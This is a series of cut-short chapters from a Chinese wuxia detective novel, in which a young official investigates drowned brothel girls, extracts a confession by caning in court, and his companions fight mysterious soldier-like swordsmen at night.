只见那两个跟踪的黑衣人在死的那一瞬间,身上有黑烟冒出。不一会儿,身形便开始缩小,只是半柱香的功夫,就化成了一滩血水! “是死士。” 凌信还剑腰间,盯着那摊血水,喃喃自语。 北寰言也收了剑,头也不回地往宁宅走:“不用管他们,我在明他们在暗,死一两个死士,在他们意料之中。我们只有今晚的时间可以找小舞。等明天回了官驿,再派来跟踪我们的人,恐怕就不是这么轻而易举能对付的了。” 凌信蹙眉,从衣袖里拿出一方手帕,蹲下擦了一点那摊血水,放在鼻下嗅了嗅,才转身跟着北寰言一起往宁宅走。 确实,今夜一出手直接击毙两人,明天再有人跟踪他们,就不会是这种小喽啰。 凌信跟着北寰言道:“平日里不见你亲自出手处理过人,怎的今夜这么沉不住气。” “我担心小舞。” 北寰言说着便踩了轻功,两下跃上屋脊,月下狂奔。 凌信跟着,在后面追北寰言。 入了沁春城以后的北寰言,是凌信从没见过的。 他会着急,会害怕,甚至还动了杀心。 以前在许都的时候,从未见他有过如此大情绪波动,他一直跟着临太傅学习,里里外外像一个小古板,做什么都慢条斯理,不疾不徐。 北寰言善武,但他从不示于人前。 他藏得好,许都里没人知道他学得是飘渺剑。 所有人都以为他与北寰舞如果要学,一定会学安王殿下的月夜剑谱。 也从来没人想过他这幅温文尔雅的样子,腰封上竟然随时带着一把软剑。 凌信曾以为北寰言或许这辈子都没机会拔出那把剑,不曾想他第一剑,就是为了自己妹妹。 方才在河道处他对他说的话,他到底还是听进去了。所以才着急把现场交给纵尚,要自己动手了结跟踪他的人。 北寰言跃下屋檐,在宁府门口扣门。 凌信确认周围确实没人之后,才跟着进去。 “平安,小舞是不是出事了?”北寰言跟着平安往里走。 平安连连点头:“是,大公子。舞姐姐她受了很重的伤。” 北寰言唇线紧抿,他担心的事终究是发生了。 平安带着北寰言与凌信到了北寰舞的院子,平伯在屋里着急地等着时均白给北寰舞疗伤。 已经过了半个时辰,没见北寰舞醒,却看见时均白脸色越来越难看。 “平伯。”北寰言抬脚进屋。 平伯看见北寰言当即就绷不住了,他走过去差点跪下:“大公子,二小姐她……” 北寰言扶住平伯:“不急,让凌信看。” 时均白确实应付不来这种事,听见凌信来了,连忙收了功夫给凌信让位置,把北寰舞放平。 凌信走过去坐在床榻上,给北寰舞号脉。 他先起手写了药方给平伯,才从随身携带的小布囊里拿出一套银针,找着北寰舞穴位刺了下去。 北寰言走过去,看见北寰舞左手缠着纱布,右手也缠着纱布,不由得回眸望着时均白。 时均白看见北寰言望着他,抓了抓头发,说:“我离开了一下,师妹就被人偷袭了。” “在哪里偷袭的?”北寰言问。 “上游城门闸口地方。”时均白回忆着,“师妹跑出来就晕了,我不敢多待,就背着师妹先回来了。” “所以你没看见偷袭她的人长什么样?”北寰言盯着时均白。 “没看见。”时均白摇头。 “你没跟着小舞,那你去哪了?”北寰言语气有些重,眉宇间多了一丝怒意。 时均白张了张口,最后没说话。 北寰言不再看他,转头去看北寰舞,他问凌信:“如何?” 凌信已经下完针,他在查看北寰舞胳膊:“力量太大,她是硬接的这下。小臂可能有骨裂,还需要细查。但她的剑是软剑,接受的力量越大,反弹的力量就越大。所以下手的人,这会也应该伤得不轻。” 北寰言颔首,来回踱了两步,喃喃道:“久经沙场的军人。” “什么?”凌信不解。 北寰言看向他:“只有久经沙场的人才有一击毙命的本事。” 时均白亦是不解:“何解?” 凌信却懂了,他问时均白:“若是你偷袭,会把所有的力气赌在一招上吗?” 时均白摇头:“我又不知道这人功夫如何,怎么敢孤注一掷?” 时均白说着就明白了。 偷袭的人不懂江湖险诈,所以才会出手如此耿直。 没防着北寰舞手上的小玩意,才会给北寰舞从那逃出来的机会。 不杀逃兵。 沙场上的将士们都不会追杀逃兵。因为他们明白,穷寇莫追这个道理。 如果这事是江湖人来办,为了确保杀人这事成功,就不会一个人偷袭,而会多带几个人来围剿。 一击不成,还会有后面的追杀。 所以,那人单枪匹马,想要保护的是……那水闸? 北寰言道:“凌信,好好看小舞的伤,我们凌晨再回官驿。” 说罢他便转身离去。 凌信摸着北寰舞的脉。 还好,她练得功夫杂,什么旁门左道,上九流下九流的功夫她都会。 不然这会早死了。 “是你放鸽子去暮云峰的?”凌信问时均白。 24. 升堂 《盛世山河(探案)》全本免费阅读 “大公子。” 身后传来平伯的声音。 北寰言回身:“怎么了?” 平伯上前问:“大公子晚上可要歇在这里?” “嗯,应该会小憩到凌晨,赶回官驿去。”北寰言回身,往院子里走,“小舞怎么样了?” 平伯跟上道:“凌公子开了两副药方,我已经让平安去煎了。” “两副?”北寰言蹙眉。 “是,”平伯解释,“时公子也受了伤。” 北寰言回眸看向平伯:“带我去时师兄的院子。” * 回到屋里,时均白退了衣衫。 凌信从他的手指开始捏骨。 时家人的骨头确实比一般人软些,正因如此,时均白硬接了那一招,受的伤比北寰舞轻得多。 凌信捏到时均白右肩问:“除了胸口,还有那不舒服吗?” 时均白摇头:“就是硬接了一剑,感觉自己手震麻了。” 凌信嗯了一声,让他把衣服穿上:“你确实比小舞伤得轻。可你也受伤了,为何方才不跟我说呢?” 时均白颔首:“我想让你先看师妹。” 北寰言正巧走到门外,听见了时均白这句话。 方才他是怪时均白没护住北寰舞。 可平伯说时均白也受了伤,北寰言就知道自己错怪时均白了。 “如何?”北寰言进屋。 凌信抬眸:“身子骨没什么事,内伤需要吃药慢慢调理。小舞那边,只能等小芷来帮她摸骨了。” 北寰言点头,看向时均白,欠身一礼:“方才,对不住。” 时均白摆手,苦笑了一声:“是我江湖经验太浅,没想过自己要面对的是什么样的对手。也不怪你生气。” 北寰言道:“等小芷来,让他们帮你们调理内伤。你们先不要出去走动了,在宅子里养伤即可。若有事,我会着人来通知你们。” 时均白点头。 北寰言看了凌信一眼:“即是交代好了,那我们走吧。” 凌信应了一声,交代时均白按时吃药,好好休息。帮他合上门,便跟着北寰言出了院子。 时均白心里总还有在意的事,无法就这样睡下,心里纠结要不要再去看一看。 * 凌信负手跟着:“若是你爹爹来,或许能跟那两个偷袭小舞与时均白的人过上几招。” 北寰言侧目,看向凌信:“看得出来是什么兵器吗?” 凌信摸着下巴:“有点像大刀。” “怎么说?”北寰言问。 凌信道:“战场上用剑的人很少,因为剑用的是巧劲,比刀轻得多,使起来还要贯以招式、步法,不学十年八年很难有建树。你爹爹因为师承廉杀,惯用剑,在战场上算是个例外。但战场大多数人都是用刀,一是因为好学,二是因为刀好聚力,更容易一击必杀。时均白比我俩年纪都大,身体发育也比我俩好,他用鞭子,手长脚长,剑与鞭子相交,其实剑是吃亏的。但是换做刀就不一样了。鞭子到底是细软,拉不住刀。” 所以偷袭小舞跟时均白的是久经沙场,军中副将? 北寰言若有所思。 军中规矩,副将以上佩刀。 其余全用枪…… “走,去府衙!” 北寰言顾不得休息,带着凌信往府衙赶。 正巧两人奔出门的时候,平伯收拾好房间,来找北寰言。 他见北寰言带着凌信飞奔出府,便知道他应该是不会留宿了。 北寰言赶时间,身后跟踪的人既已击毙,他没必要藏着掖着。他脚下踩着轻功在屋檐上一路狂奔,穿越沁春城西到城东,一个翻身落在府衙之内。 他大口喘着气,快步走到之前纵尚给他拿来查询的箱子前,翻着什么。 凌信靠在石柱上,侧耳倾听周围声音,道:“没人。” 北寰言抬眸,看了凌信一眼,继续低头翻他想找的东西。 * 纵尚那边过了三更才把所有女尸捞起来。 仵作那边做了统计,一共六十四具尸首。 骇人听闻。 纵尚看着这些女尸,头皮发麻。连忙让人把这些女尸搬到义庄去,连夜找画像师,来画她们生前相貌。 忙完这些,已经到翌日清晨,辰时左右。 纵尚又吩咐人去全城、乡里贴告示,让人来认领尸体。 这告示一出,全城哗然。 护城河里翻出六十四具女尸的消息瞬间成为全城茶余饭后的聊资。 很快下午就有人开始陆续到义庄认领尸首。 纵尚一直没敢休息,熬在义庄,等着来人问话。 北寰言早上翻查了册子之后,便带着凌信回了官驿。 景雀见北寰言与凌信回来,连忙着人给他们备热水洗澡。 南方天气闷热,入秋以后随便动一动也浑身是汗。 更不要说北寰言昨日在河道、宁府、府衙之间来回奔跑。 两人沐浴的时候,景雀又立即着人去准备膳食。 洗了之后,北寰言只觉得浑身都松快了不少。他懒得穿整齐,只是套了一件里衣便去用饭。 凌信看北寰言如此不修边幅,忍不住偷乐。 北寰言睨他一眼,知道他笑什么,不理他。 窗棂处落下一只鸽子,凌信起身去把信取下来,看了看道:“凌芷已经到了。” 北寰言应了一声,悬着的心,总算放下一半。 用完膳,两人立即去休息,养精蓄锐。 景雀替北寰言铺好床问:“公子什么时候再出去。” 北寰言坐在床上,整了整被角,想一会儿,道:“未时左右喊我起床罢。” “是。” 景雀恭恭敬敬地行了一礼,退出去,合上门。 * 下午未时左右纵尚那边大概被认领了十五具尸首。 他一一登记造册,交代了长史继续在这里盯着,自己坐轿子去给北寰言送册子。 景雀未时去喊北寰言起床,北寰言似乎没睡醒,眼睛眯成一条缝。 景雀一边笑一边给北寰言更衣:“言公子醒醒,一会儿纵大人就来了。” “嗯。”北寰言应了一声,反而闭上眼睛。 景雀今日给他换了一身暗红色的圆领衫,颜色像是朝廷三品颜色,却又比那颜色亮些。 依然是给北寰言束发,身着红衣的他,灼艳得不像是人间凡物。 凌信无精打采地躺在床上,这几日无论是谁,都没睡过一个整觉。他醒了,但是也不想动。 25. 诡诈 《盛世山河(探案)》全本免费阅读 凌信点头,想起什么,只道:“最近城里事多,冷将军戍守的时候,还是应该多加警觉。” “是。”冷威抱拳。 北寰言进了府衙,坐在堂上,看着堂下凌信带着冷威进来,道:“着人把雪娘带来。” 大牢的钥匙在黄海的身上,冷威当即派人去义庄找黄海。 片刻功夫,黄海回来,带着御林军入地牢,把雪娘带了出来。 正好纵尚也赶到了府衙,他见小小一个人,临危正坐在堂上,眉眼俊穆,不苟言笑,双手张开撑在案牍上,亦是一副高官威严之相。 雪娘被黄海带到堂下,抬眼看见北寰言坐在堂上,当即就笑开了花:“呦,小郎君,今日你升堂审我呀?” 雪娘从雏凤楼里出来,穿得风情万种。 再加上她眉眼风韵,脸上面容艳丽,这话从她嘴里出来,无端多了许多的撩拨。 看样子,这段时间,雪娘在牢里没吃什么苦。 北寰言望着她,面无表情,一字一句道:“孙秋芳,女,原沁州沁春城孙家村人,年十四。柳迎夏,原启州启城峰头县人,年十三。尤从九,沁春城齐家村人,年十四……” 北寰言盯着雪娘,一口气背出纵尚给他尸首认领册子上那已经被认领的十五具女尸的身份信息。 纵尚在一边听着直咋舌。 到底是十二岁便三元及第的状元郎,这过目不忘的本事,不是一般人能行。 北寰言甩手,就把那册子丢到堂下:“这些女子,皆由你雏凤楼买了身契,身契皆在在牙行与府衙备过案。你来解释解释,为什么这么巧,护城河里打捞上来的女尸,身份已经辨认出来的这十五人,皆是出自你雏凤楼?” 册子如白鸽一般在空中翻飞,落在地上滑行了一段距离,撞在雪娘脚下停住。 北寰言冷眼盯着雪娘,想听她解释。 雪娘一听当即就站不住,“噗通”一声跪了下去。 北寰言又道:“仵作给那些尸首验过尸,那些女子皆有被男子侵入的迹象。你是不知东陵律法,不许十五岁以下女子与恩客同房,还是有后台撑腰,知法犯法,肆无忌惮?!” 雪娘浑身颤抖,低着头,根本不敢回北寰言问话。 北寰言见她不言,当即拎起惊堂木“啪”一声拍在案牍上。 “来人!上棍刑!打二十大板!” 北寰言敛眉,顺手从桌案上的签筒里,抽出一根红色的签字,丢到堂下。 黄海一见北寰言丢下红签,立即明白他是要让他上棍子,可以打得皮开肉绽,却不能伤筋动骨。 在堂上动刑可是一门学问,如何把人打的皮开肉绽而不伤筋动骨,没有家传的手艺,是做不成的。 雪娘一听北寰言要打她二十大板,当即脸色惨白,四肢无力,人就趴在了地上。 御林军搬来长凳,把她压在凳子上。 黄海亲自操行,一棍一棍打下去。 雪娘嫩皮嫩肉,那里受过这种苦? 当即被打的惨叫连连。 北寰言冷眼看着她厉声道:“你还不招?!” 雪娘本想嘴硬,可棍棒加身,打得她心肺巨裂,由不得她继续嘴硬。 “大人饶命,大人饶命!我招我招——” 北寰言抬手,让黄海停下。 雪娘从长凳上滚下地,也不管外衣挂得住挂不住,她趴在地上说:“请、请大人明察……奴家也是被逼无奈,主子的只是让奴家看着楼,奴家也并不是楼里说话算话的人!一切事情,都是由主子做主,奴家只是依命行事啊!” “依谁的命?”北寰言沉下眼眸。 雪娘到此,想说,却又不敢说,支支吾吾。 “上刑!” 北寰言当机厉喝,吓得雪娘立即爬起来,连连磕头:“是开国伯,是开国伯!雏凤楼是开国伯的产业!奴家只不过是他的养在外面的……外室,一个外室而已啊!” 北寰言心中一动。 原来雏凤楼雪娘这条线,连着的是开国伯。 北寰言陷入了沉思,不再询问。 纵尚之前得了景雀提点,知道该是他说话的时候了。 沁春城开国伯,其山,是北寰言父亲的旧部。 这事牵扯到北寰言父亲的旧部让北寰言如何问得下去? 纵尚立即上前,站在北寰言身边,指着堂下雪娘:“你指认开国伯为雏凤楼幕后主子,可有证据!?” 雪娘哭着摇头:“大人,这楼在奴家名下。买姑娘的身契也是奴家去画的押。开国伯从始至终都没出面,怎么会有他的证据啊!” “没有证据,你岂不是可以胡乱攀咬?!”纵尚当即拿手一拍桌面。 雪娘哭得妆容已经花了:“大人,奴家的性命都在大人手上。眼下如果胡乱攀咬勋贵伯爵,岂不是让奴家死得更快?公子!小公子!” 雪娘不欲与纵尚纠缠,她膝行几步,想要爬到北寰言身边。 冷威立即上前把雪娘压住,不让她在往上爬。 “小公子,”雪娘被按在地上,哭喊道,“小公子这般严厉,不就是想知道雏凤楼背后的主子吗?奴家说了,小公子不信,小公子可以去查啊!只要小公子愿意查,总是能查出什么蛛丝马迹的,不是吗?!” 北寰言冷眼望着雪娘,缓声问道:“之前有一从楼里跑出来的女子,来敲登闻鼓,你抵死不认。怎么眼下只是五棍下去,你就吐得这么利索?” 雪娘哭得嗓音沙哑:“小公子,奴家即便是身份低微,即便再没有名分,那开国伯也是我的男人,是我的依靠啊!只是一个小蹄子跑出来指正,奴家如何能把自己安身立命的本钱给丢了啊!” 北寰言站起身,缓步踱到雪娘身边,睨着她道:“这么说,你承认那女子手上的那份名单,是确有此事了?” 雪娘微微张嘴,不知道要怎么回话。 许久才后知后觉北寰言不动声色地套了她的话。 “纵大人,那女子拿来的名单,在何处?”北寰言侧目看向纵尚。 纵尚立即道:“我去拿。” 说罢纵尚便去的后堂。 北寰言冷冷地盯着雪娘,看她 26. 乱局 《盛世山河(探案)》全本免费阅读 雪娘费尽心机,放走了一个小丫头,让这小丫头带着名单来自导自演了一场状告大戏,又在他面前演了这么大一出苦肉计,不就是为了让他看这个名单吗? 如果隔壁那个被烧毁的院子,是其山名下的产业。 那他手上现在这份名单,就是送其山上黄泉路的催命符。 但…… 北寰言似乎觉得这事不太对。 雪娘是其山的外室…… 开国伯府是她安身立命的本钱,其山倒了,对她有什么好处? 她为什么要把这么大一个把柄送到他的手上呢? 北寰言垂眸,缓缓踱步,思绪转得飞快。 黑夜再次降临。 沁春城府衙内的树枝被夜风吹得乱晃,月光透过枝杈,散落在北寰言衣服上。 零星的月光打在他脸上,让他眸子晦暗不定。 他似乎是想到了什么,瞳孔微缩。 不,她不是要把这名单,送到他手上! 她是要把这名单送到南境巡察使的手上! 她的目的是…… 北寰言蓦然抬眸,眼睛雪亮。 她的目的是,朝廷! 她想借这个名单,借他巡察使的手,把这些在名单上的南境五州的官员全部拉下马去! 包括这个她所谓的,她的男人——开国伯,其山。 北寰言逛到了月光明亮之处,他负手而立,仰头望月。这里看见的月,跟在暮云峰上看见的一样硕大。 其山……开国伯……十六年前……南境归降…… 北寰言深吸一口气。 或许,这个雪娘还有更深的心思。 她想把他、把他父亲、把他母亲,把整个安王府也一起拉下水去! 所以这事,最终是冲着他,冲着安王府来的吗? 如果真的是这样,线索就应该重新梳理了—— 雪娘、登闻鼓女子、跟踪他的人、把他出许都来南境的消息放出来的人、前天陷害他,让他在大牢里待了一晚上的人,应该在一条线上。 而女尸、雏凤楼、开国伯其山、与南境五州官员,则被穿到了一起! 那么,在水闸处,偷袭小舞与时均白的那些军人,应该跟南泽王宫归到一处了!? 北寰言负手而立。 静静地望着挂在黑幕之上好似近在咫尺的硕大圆月。 他在这里待得时间越长,发生的事情就越多,浮出水面的事情就越多。 这三条看似不相关的线,其实应该有一条内在的联系才对。 他似乎抓到了什么,却又忽略了什么。 他总感觉这些事里面还藏着其他的事,让他捋不清楚这其中的关系。 是什么呢? 北寰言闭上眼,眉宇微蹙。 * 宁府。 北寰舞已经缓缓转醒。 她睁开眼,看见一个小小的身子,在她床前忙来忙去。 她轻轻地唤了一声:“小芷。” 凌芷听见北寰舞唤她立即转过头,蹬蹬蹬跑过来,爬在床边,眨了眨圆圆眼睛问:“舞姐姐,你还难受吗?有没有什么地方特别疼的?” 北寰舞摇摇头说:“就,手上疼。” 凌芷点点头:“嗯,没事的舞姐姐,我已经帮你检查了身子,哥哥留了一张字条,说你的右手可能有骨裂,我仔仔细细检查过了,没骨裂。就是手肘有错位,我已经帮你接回去了。” 说着凌芷转身去桌上把药小心翼翼地端了过来:“我想着你也快醒了,就把药提前熬出来了。不烫,我尝过温度了。舞姐姐快喝吧。” 北寰舞动了动右手,只觉得疼,她好声好气地说:“我手疼,你喂我吧。” “哦……”凌芷点点头,坐在床榻上,拿起勺子,一勺子一勺子地吧药喂给北寰舞。 北寰舞喝药的时候,盯着凌芷看。 许久没见这小丫头了,倒是跟小时候一样,没怎么变。 还是留着齐刘海,扎了两个圆圆地发髻在脑袋左右两边,发髻中间还把多余的头发编成了小麻花辫,她头发长长了,以前小麻花辫只能耷拉在肩膀上,现在都快到腰了。 可爱的发髻上还一边带了一朵带着穗子的白色芍药鲜花。 才十一岁,到处都是圆滚滚的样子没长开。 眼睛圆圆的,鼻头圆圆的,嘴巴圆嘟嘟的,脸是圆的,脑袋也是圆的。 看上去很是可爱。 好像一只刚出生没多久圆滚滚的小奶狗。 北寰舞盯着她发髻上的芍药花直笑:“芍药给你带上去的?” 凌芷点点头:“芍药姐姐觉得我带着好看。” “确实挺好看的。” 北寰舞就着碗,直接一口把药干了:“唔,好苦。” 凌芷立即从衣袖里拿出一个纸包:“舞姐姐,我有糖!” “帮我剥开,我要吃。” “好。”凌芷很认真地把糖剥开,塞进北寰舞的嘴里。 北寰舞嘴里嚼着糖,问她:“我要休息几日啊?” 凌芷眨眨黑溜溜的大眼睛:“几日?舞姐姐要好好休息三个月才是!伤筋动骨一百天,你以为是说说而已吗?” “那么久?” 北寰舞没想到硬接那一刀,就让让她伤的那么重。 凌芷连连点头:“是呀!如果不是哥哥回来先帮你下了针,可能都要在家里休养半年呢!” “你哥回来过了?那我哥是不是也回来过了?” 北寰舞蹙眉,北寰言是怎么回来的? 他身边一直都人监视,回来不是把人都带到宁府了吗?! 转念又想,以北寰言与凌信的本事,甩掉小尾巴应该还挺简单的。回来一趟应该也不是难事。 他应该已经查到河水里的女尸了吧? “舞姐姐,你饿不饿啊?”凌芷抵头把放在床边的针包收拾好,“我让芍药姐姐帮你端点饭过来好吗?” “嗯。”北寰舞点点头,“外面天黑,你小心点。” 凌芷把小针包塞进随身携带的小背包里,转身就往院子里跑。 北寰舞觉得这事情有点乱,需要捋一捋。 她靠向床头,闭上眼睛,思绪转得飞快。 她与时均白能找到那河里的女尸,多亏了那个书生指引。 可那书生,为什么要引着他们去找女尸呢? 北寰舞想着之前时均白说的话。 那一晚,雏凤楼隔壁起火的宅子里没有任何人出来。他守了一夜都没人。 27. 夜探 《盛世山河(探案)》全本免费阅读 时家男子,不管是嫡出还是庶出,首先要在家族学堂里学习时家家传的秘术。 只有天赋异禀的人才有资格成为皇墓的监工。 成为皇墓的监工,担起的皇墓内机关的设计与施工,在家族内是最高的荣耀,却也是最残忍的事。 前半辈子被关在时家宗族的大宅院内勤学苦练,吃尽苦楚。 后半辈子设计、修建,被关在皇墓里,最后陪着帝君入灵,亲手在皇墓里落下封皇墓的石门,与皇墓共生共死。 时家最高的荣耀带来的是声望与财富,拿走的是那个人性命。 这种生来荣耀顶天,替整个家族去死的事,是时家的秘密。 不为外人所道。 但北寰舞母亲与时均白父亲为同门,这事在北寰舞这不算是秘密。 时均白不过十六,就已经通过族内机关重重的七层塔,拿到这个象征家主的红玉牌,说明他奇门遁甲造诣极高。 奈何到时均白这一辈,无论是宗族还是旁支,只有他这么一个有天赋的孩子。 但凡他有一个兄弟能帮他扛起这个家族的重任,北寰舞都不会拒绝他拒绝的那么干脆。 时均白从出生开始就注定了,他不属于任何人。 他只属于他的家族。 “小姐。” 芍药端了几盘小菜与白粥,进门放在桌上,打断了北寰舞思绪。 “我喂你,还是你自己来吃呀?”芍药看向北寰舞。 北寰舞右手重伤,左手轻伤,她在床上躺了许久,浑身酸痛,只想动一动,忙道:“我自己起床去吃吧。” 芍药立即过来扶北寰舞到桌前用饭。 “小芷干什么去了?”北寰舞一边挖着粥,一边问。 “芷姑娘去看时公子……” 芍药帮北寰舞把小菜分了一些进碗里。 “舞姐姐!舞姐姐!”凌芷声音从外面一路散过来。 她跑得极快。 上气不接下气扶着门。 北寰舞一脸嗔怪:“你跑那么快做什么,过来歇一歇。” 凌芷深深地吸了几口气,一脸慌张的说:“舞姐姐,时哥哥他……他不见了。” 北寰舞倏地站起身,也不管饭吃完没吃完,拎起裙摆,就往时均白院子里跑。 此时已是夤夜,时均白院子里没有点灯。 他不习惯有人伺候,院子里也没侍女小厮。 北寰舞推房门,扫视一圈,屋里确实没人。 凌芷跟着跑过来,累得直不起腰。 北寰舞问她:“你来看他,是因为他也受伤了?” 凌芷咽了一口唾沫,点点头,说:“哥哥给我留了条子,说时哥哥也有伤,让我看着点。” “看得出来是什么时候受的伤吗?”北寰舞问。 凌芷想了想回:“是新伤。最近才伤的。” 新伤…… “你哥哥还说什么了?”北寰舞又问。 凌芷摇头:“哥哥只交代让我好好看着你们俩的伤。” 北寰舞蹙眉,难不成,是她追纵尚的时候,时均白看见了什么去追了别人,结果他们俩一起被人偷袭,受了伤? 眼下他不在府上,是……想再探他之前想探没进去的地方?! 北寰舞气得跺了一下脚。 这人怎么,这么不知轻重?! 他一个人到河里查女鬼,差点被溺死。两个人分开追人,又都受了伤。 他现在带着伤,怎么敢自己一个人再去? 北寰舞立即转身回自己院子里,要换夜行衣,想要去雏凤楼附近一探究竟。 她们是在雏凤楼附近分的手,那么时均白再探的地方也一定在雏凤楼附近。 凌芷见北寰舞要换夜行衣,当即急得跑过去拉住北寰舞的胳膊:“舞姐姐!你这是要干什么?你要出门去?” 北寰舞说:“他不能一个人去,太危险了。他们家现在就他一个独苗,出事了,我没办法跟师叔交代!” 凌芷连忙摇头:“舞姐姐,你自己也有伤啊!你比时哥哥伤得重多了。你也不能去啊——舞姐姐!” 北寰舞不管,凌芷拉着不让。 两人争执不下的时候,门口传来一个男声:“你俩干什么呢?” “哥哥!” 凌芷一听见凌信的声音,立即扑过去,抱着凌信呜呜哭:“哥哥,舞姐姐不听我的劝,她要去追时哥哥。两个人都受了伤,都不听话!” 凌芷头埋在凌信的胸口。 凌信见不得自己妹妹哭,连忙拍着她的背,瞪了北寰舞一眼:“你自己什么情况你自己不知道?” 北寰舞蹙眉:“你没跟着我们,你不知道。我们去护城河找到那些女尸是有人故意指的。有人在利用我们搅沁春城的浑水!时家的事跟别家还不一样,时均白不能出事!” 凌信虽然不太清楚其中缘由,但是时均白不能出事是真的。 他懒懒地问:“你准备去哪找他?” 北寰舞道:“他一定是在雏凤楼附近!” 凌信拍了拍凌芷,让她起来。 凌芷揉着眼睛,退开。 凌信说:“我去帮你找,你在家待着。不许惹小芷哭了!” 北寰舞点头,复又问了一句:“你跑回来了,我哥呢?他身边没人了?” 凌信蹲下,帮凌芷擦眼泪:“他回官驿去了,身边有几百御林军护卫,还有冷威将军陪着。再说他又不是真的手无缚鸡之力,出不了大事。他让我回来看看小芷跟你们。我这幸好是回来了,不然你跟着时均白出去出了什么事,你哥不得恨毒了自己?” “怎么?”北寰舞不解。 凌信帮凌芷擦完眼泪,在她脸上捏了捏,站起来,看向北寰舞:“你哥哥,言大公子正想办法找借口把我们送回暮云峰去呢!就怕你、怕我、怕时均白因为这案子出点什么事。我劝你,少给我惹点事。我可不想回暮云峰去。” 说完凌信便头也不回地走了。 北寰舞愣在原地。 看来北寰言也早就察觉到了,这里的事不简单。 * 凌信自己一个人在屋檐上奔跑,比跟着北寰言的时候跑得更快。 他气沉丹田,几乎把所有的力量都聚集在脚下,踏风而行。 这便是飘渺剑心法中独步轻功,乘风踏月。 一群不省心! 他在心中暗骂。 不到一刻钟,他就奔到了雏凤楼附近。 28. 江湖剑 《盛世山河(探案)》全本免费阅读 “多谢。” 时均白话音刚落,俩人便分头行动。 时均白往院子里窜。 那黑影看见时均白要进院子,脚下一跺,提刀就去追。 凌信挑眉,抬手甩去两根银针,“叮叮”两声,定在那黑影前行的道路上,黑影失了一步,就只能眼睁睁看着时均白进了那院子。 凌信在他身后,嬉笑问:“那院子对你们来说这么重要啊?怎么办,我刚好跟官府的人,很熟。只要天亮了,我去报官,这院子的秘密,就保不住了。” 那黑影听凌信这么说,缓缓转过身来,用很重的南泽口音回道:“那你们都要死!” 说完那黑影一跃而起,带着身体的重量,一刀劈下。 凌信深知这刀不能硬接,直接选择侧身躲开。 谁知那人用刀极其灵敏,见凌乐躲,刀锋立即追着凌信身子去。 凌信脚下步伐变换,连变了十步都没甩开这人追击他刀锋。当即不耐烦地从衣襟里摸出两根银针,甩了出去。 “叮叮”两声那人抬刀挡针的功夫,凌信已经找到破绽,直接一剑指向那人心脏。 那人刀使得好,挡针的时候顺带往下拉,想直接砸碎凌信的剑锋。 凌信见他坠刀,当即收了剑锋,一脚踹在那人胸口。 “这!” 凌信低呼一声,只见那人受了一脚,竟然纹丝不动。 下一瞬,那人便抬手,钳住凌信的脚踝,把他像丢东西一样,甩了出去! 凌信少年身段,练的飘渺剑,身形本就比一般人要轻许多。 那人甩他出去,他只是在空中翻了几个身,便用剑强插入地面,阻止身体继续向后滑行。剑刃手脚齐齐并用,才往后滑行了一丈之后,强行停住。 地面上拖出一道长长的剑痕。 凌信从地上缓缓站起,擦了擦自己鬓边的汗珠,收了之前戏虐的心思,他的眸光逐渐变得阴沉,脸上一贯带着的微笑也骤然消失。 好大的力气,好强硬的身体,好厉害的刀法。 这人有资格跟他的飘渺剑一战! 下一瞬,那黑影眼前的少年人,便化作一阵风,消失不见! “后面!” 凌信声音从那黑影后面炸响,剑刃破空的声音已在耳边。 黑影立即回身,提刀来挡,就在那一瞬,凌信的所有气息全部消失。 “左边!” 下一息凌信剑锋又从黑影左边袭来,黑影立即抬手挥去。 一刀挥空,凌信又不见了身影。 “下面!” 凌信不知道什么时候已经窜到了黑影下盘,弃剑不用,直接一拳到那人下颚,打得那人仰头向后退去。 凌信连忙甩甩手,又恢复了方才一脸戏虐的模样:“好疼……” 黑影从来没见过这般诡异的身法,仿佛这少年会瞬移一般,能在三息之间出现在不同的方位。 那黑影也收了眼中凉凉的嘲笑,抬刀,全身戒备凌信。 凌信见他终于认真起来,便也没含糊,当即脚下一点,整个人都化作一道剑,笔直向那人刺去! 那人提刀,带着烈烈刀风砍来。 凌信手腕一抖,飘渺剑的剑尖瞬间分化成无数剑影,根本看不清真的剑在哪里。 刀锋已到凌信胸前,他略略侧开一步,手中软剑宛如一条白蛇瞬间,缠绕上那人的刀。凌信冷哼一声,当即撤招。 那人想撤招已经来不及。 凌乐以柔和之力,引着那人刚猛的刀法,倾斜向下,伸向地面。 凌信手上使了力,让那刀入石板的时候,刀身又重了一个好几石的力量! “轰隆”一声,刀直接把那青石板砸碎,刀身一半深深没入土里。 “退!” 凌信一声厉喝,抬脚直踹那人腋下,踹得那人直接弃刀,松了手,踉跄向后退去。 凌信一招得逞,却也没继续追,只是单手撑地,一个后翻,宛若风雪骤停一般,单脚稳稳地立在那刀柄之上,左手负与身后,右手手中的飘渺剑恢复了之前刚硬的模样,剑尖指地。 剑身印着月芒,发出微蓝的光。 “还打吗?” 凌信唇齿微露,歪着头,满脸挑衅望着那身材魁梧的黑影。 这一交手,这黑影就明白了。 这少年,用的是江湖剑。 他从始至终都没动杀心,只是想卸他的兵器而已。 不然他怎么会每出一招,都会提前告诉他位置或者是目的呢?方才他得了下盘,直接一剑就能结束了他,可他没有,只是用拳逼他认真。 他没有轻怠他,他们像是两个萍水相逢的剑客,相互试剑,点到为止。 他很尊重他。 这少年身上有一种江湖剑客侠肝义胆、豪气干云的洒脱。 这样一个宛若风雪般干净的少年,只能是生在了一个昌盛繁华帝国,才会有这般气度。 不似他,这辈子都在与杀戮为伍。 黑影站直了身子,按照江湖的规矩,向凌信抱拳,行了一礼。 凌信很是惊讶,没想到这黑影会向他行礼。 当即剑垂手心,也抱拳回了一礼:“承让了。” 黑影沉下声:“可是少年人,我们的生活里没有点到为止。” 凌信蹙眉,提防着这黑影下一步动作。 只听上方有屋檐瓦砾碎裂的声音,凌信寻声看去,只见时均白又被人一刀从空中砍了下来。 他提起一口气,扶摇直上,一跃而起,去接时均白。 这一刀力气极大。 他接住了时均白,却没想到那股力量大到让他也险些震出了内伤。 那仿佛是一颗石子打中了在空中蹁跹而落的树叶,两人一齐砸向地面。 凌信顾不得身上疼痛,知道时均白现在这种状况,不能继续恋战,连忙拉起时均白,脚下生风,飞出了庭院。 从屋檐上落下的黑影,看着那发呆的人不满道:“为何不追?!” 另外一个黑影没有回答,只是默默地盯着一个方向。 那问话的人顺着那人的目光,才看见黑影手上的刀没入了青石板后的土地里。 他没死,只是因为那少年手下留情了而已。 “你这性子,不适合来执行这次任务。”那黑影不再多说,扛起刀转身进了院子。 那没了刀的黑影,低头,盯着自己手,喃喃道:“或许吧。” 29. 围守 《盛世山河(探案)》全本免费阅读 